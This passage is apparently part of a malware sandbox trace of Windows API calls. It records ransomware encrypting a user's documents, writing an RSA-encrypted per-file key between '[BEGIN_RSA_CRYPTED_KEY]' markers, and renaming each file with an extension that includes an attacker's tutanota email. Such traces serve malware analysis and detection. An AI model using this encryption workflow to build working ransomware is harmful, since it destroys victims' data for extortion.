pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.090] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.090] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="SNJZCNKg9DX4EAx5+YIU6tPwYbr7h3FhAk3kCKOTnM7T7FFKO+tUuD+rOiGOpSg7\nKuBGU8FqQ9xAaMXKAMgmDfHFf+LcZvmdHiBxw0RTbGKlDtMDqu3rbnn6UnJETzYT\n6BY4nVP7skLkuRSQJ0h9BrxhX3JipVKsCtV5MUFyhaO56TisF8QR4TBlwFKJl7xz\nwTkDEfbvUu+v35PKu5GzgR+2G7u5LCwWgUqtiIuCQTjIWBtymgnglamwm1zzujKz\nKNK4KyQij4Xi47KyIMyd4t7OXnw4IObQ6g6mXbb1hRZtSDedyEdEv6wpPG9orwYw\nvr6tch1gUpbxgyMitnLpfA==\n", pcchString=0x2e3f9a8) returned 1 [0147.090] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.090] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.090] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.091] CloseHandle (hObject=0x5e8) returned 1 [0147.091] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.091] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\V Aj6iLeWZhqj6eJRUz.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\v aj6ilewzhqj6ejruz.xlsx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\V Aj6iLeWZhqj6eJRUz.xlsx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\v aj6ilewzhqj6ejruz.xlsx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.093] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0b8 | out: hHeap=0x570000) returned 1 [0147.093] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0147.093] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0147.093] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde20 | out: hHeap=0x570000) returned 1 [0147.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be478 [0147.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0147.094] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.094] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\UeNN9FX.pdf", dwFileAttributes=0x80) returned 1 [0147.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be4d0 [0147.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0147.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0147.095] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\UeNN9FX.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\uenn9fx.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0147.095] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=56795) returned 1 [0147.095] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xdddb) returned 0x631898 [0147.095] ReadFile (in: hFile=0x5e8, lpBuffer=0x631898, nNumberOfBytesToRead=0xdddb, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xdddb, lpOverlapped=0x0) returned 1 [0147.100] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-56795, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.100] WriteFile (in: hFile=0x5e8, lpBuffer=0x63f680*, nNumberOfBytesToWrite=0xdddb, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63f680*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdddb, lpOverlapped=0x0) returned 1 [0147.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0147.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x63f680 | out: hHeap=0x570000) returned 1 [0147.101] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdddb [0147.101] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.101] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.101] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.101] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.102] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.102] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="5ISNkp2zCp+RTkm5kQnkfXUufSvPSy9XhbBEJMGmp+7wWilIcBZEfiZ3R4MnDbJa\nbHmcNBFJCHRPlxiDhxcJ2YqoXeZL+ia9CIFHnrCqAdHd62EEnxCwgjHJ925Uoto3\ngB/zMixGAMfr3jpZKZ+vxbnnhrZbIQRCcghfeBPbfECtEfkhc2mt8IyRXZMLnH22\nSOgPFmfHfM8P/2NX47IaAOS1sGRbAhjUXfdFhWvMdPcVujLJvr/ow5DnUZp9x/c8\n/WO7BuJFstJtpVAEcRkMZOjT+8vAGdmgAaDpCjcOnN6irGTb3xqNgDp3bcXiSmmF\nZW3mwNSW7HdPS/Pij4gjrg==\n", pcchString=0x2e3f9a8) returned 1 [0147.102] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.102] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.102] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.102] CloseHandle (hObject=0x5e8) returned 1 [0147.102] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.103] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\UeNN9FX.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\uenn9fx.pdf"), lpNewFileName="\\Users\\FD1HVy\\Documents\\UeNN9FX.pdf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\uenn9fx.pdf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0147.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0147.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be478 | out: hHeap=0x570000) returned 1 [0147.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be3c8 | out: hHeap=0x570000) returned 1 [0147.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0147.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0147.104] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.105] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\q FHylFhBBwVNR4I.xlsx", dwFileAttributes=0x80) returned 1 [0147.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0147.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e678 [0147.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0147.105] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\q FHylFhBBwVNR4I.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\q fhylfhbbwvnr4i.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0147.106] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=96315) returned 1 [0147.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1783b) returned 0x631898 [0147.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1783b) returned 0x6490e0 [0147.106] ReadFile (in: hFile=0x5e8, lpBuffer=0x631898, nNumberOfBytesToRead=0x1783b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x1783b, lpOverlapped=0x0) returned 1 [0147.109] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-96315, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.109] WriteFile (in: hFile=0x5e8, lpBuffer=0x6490e0*, nNumberOfBytesToWrite=0x1783b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6490e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1783b, lpOverlapped=0x0) returned 1 [0147.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0147.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6490e0 | out: hHeap=0x570000) returned 1 [0147.110] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1783b [0147.110] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.110] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.110] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.110] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.111] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.111] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="f2CRT3sXnnHGGzajeDjx8URzCNyik2VUnnylTvwTjnE9N+dZ6rw1iDbF43M4Atu0\nfyLoO5hLquhxmEG/xdXC9aPsigZzzDKPLq6SabGWY4I/Pc+F74zKtTqiepU6BZnQ\nwDcJ94+gM99S/qukecVRDO3Fw9ovc4gXjAbAQFVBG1b68rd6Zu+pY/QDlo5TF4PT\n2qVE4K94hN6et3nakORWisjUvc2DheYJboJpTauY/lqHsynGG+qfkMgmJpXUUOrK\nDUEt3M/uIwMN0IMdt3dTqTl6xIiSdQ8wAXeBfA9xBZ98zUSBE9j4JK8YzIUbjm+e\n2B/KCmk4aE7VyT+lOCH+oQ==\n", pcchString=0x2e3f9a8) returned 1 [0147.111] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.111] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.111] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.111] CloseHandle (hObject=0x5e8) returned 1 [0147.111] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.111] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\q FHylFhBBwVNR4I.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\q fhylfhbbwvnr4i.xlsx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\q FHylFhBBwVNR4I.xlsx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\q fhylfhbbwvnr4i.xlsx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e678 | out: hHeap=0x570000) returned 1 [0147.114] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0147.114] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0147.114] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0147.114] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0147.114] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0147.114] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.114] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\pxBJNeBYj8E8.pptx", dwFileAttributes=0x80) returned 1 [0147.114] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0147.114] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0147.114] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0147.114] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\pxBJNeBYj8E8.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\pxbjnebyj8e8.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0147.114] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3639) returned 1 [0147.114] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe37) returned 0x631898 [0147.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe37) returned 0x6326d8 [0147.115] ReadFile (in: hFile=0x5e8, lpBuffer=0x631898, nNumberOfBytesToRead=0xe37, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xe37, lpOverlapped=0x0) returned 1 [0147.115] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-3639, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.116] WriteFile (in: hFile=0x5e8, lpBuffer=0x6326d8*, nNumberOfBytesToWrite=0xe37, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6326d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe37, lpOverlapped=0x0) returned 1 [0147.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0147.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6326d8 | out: hHeap=0x570000) returned 1 [0147.116] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe37 [0147.116] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.116] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.116] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.116] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.117] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.117] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="gC7MMr2s+6m/YjrMtfu1XDFQoHfQhGluBJW5JlWQJO28N8ujPQ//ZE1vRDDBOGFx\ndSj+xVMQERPa73mcckUc1E/zwf9+fZ4JylpJIO+ydVbSTmoRUt5r6zwt7+fgPzBq\n7cj9vOpul/gSbuYNcwA11MEmb756YoZaz30vp1qsuklmUp5UsRHhO8aqNn6GthXO\nry0xOuIshgusyRGC8DIZswByo4yh3YYlcP4pXdNwr1rYR7PisGlS3++6UM0RbXK/\n0+y+yTqIKPQ+3u2lTayjM+BsAj8qLGVCh+Z0PYi+RZ7tK6scLXkzA8Mz5iKm996V\nyy1Vqo8ofIgLm+oo+meNAQ==\n", pcchString=0x2e3f9a8) returned 1 [0147.117] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.117] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.117] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.117] CloseHandle (hObject=0x5e8) returned 1 [0147.117] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.117] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\pxBJNeBYj8E8.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\pxbjnebyj8e8.pptx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\pxBJNeBYj8E8.pptx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\pxbjnebyj8e8.pptx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.124] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0147.124] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0147.124] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0147.124] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0147.124] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be2c0 [0147.124] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0147.124] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.124] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\OkaAfV-IS.pptx", dwFileAttributes=0x80) returned 1 [0147.124] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be738 [0147.124] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0147.124] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be738 | out: hHeap=0x570000) returned 1 [0147.125] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\OkaAfV-IS.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\okaafv-is.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0147.125] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=99759) returned 1 [0147.125] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x185af) returned 0x631898 [0147.125] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x185af) returned 0x649e50 [0147.125] ReadFile (in: hFile=0x5e8, lpBuffer=0x631898, nNumberOfBytesToRead=0x185af, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x185af, lpOverlapped=0x0) returned 1 [0147.128] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-99759, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.128] WriteFile (in: hFile=0x5e8, lpBuffer=0x649e50*, nNumberOfBytesToWrite=0x185af, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x649e50*, lpNumberOfBytesWritten=0x2e3f9b4*=0x185af, lpOverlapped=0x0) returned 1 [0147.129] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0147.129] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x649e50 | out: hHeap=0x570000) returned 1 [0147.129] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x185af [0147.129] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.129] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.130] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.130] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.130] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.130] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.130] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="5JJ4THSXCUg9OTj4MX8zH7zHRYi3CbqknNU1nu7o0WENddVK2QSIqe5RCNuOFlGj\nQ0/qquOWPcPmNJJXIrIADgJmJytzenfnK3ZoxdS2l2jafVMsH/fGUj1RdfF9yunR\nX7ehKFzqbVVw6z8WQYlyA0UX+lcKrfMOLvITXcEodmXrCOtOkF3+C6L4cJr+e8NR\nvkmT6saXKwFCh5MzkXjfHOkPo9SNuvjIL/UvjcR4/QA6+3Dd3AgaqLT+PrV1ODoT\nOrxVmMda7M++EMxaiGIpvaZLUdcNQq8wJ6KjA0I3buGTHDyZE9mRvj8L5FGn+Yed\nEzm/GhBekDVadiCZRBy8sw==\n", pcchString=0x2e3f9a8) returned 1 [0147.131] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.131] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.131] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.131] CloseHandle (hObject=0x5e8) returned 1 [0147.131] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: 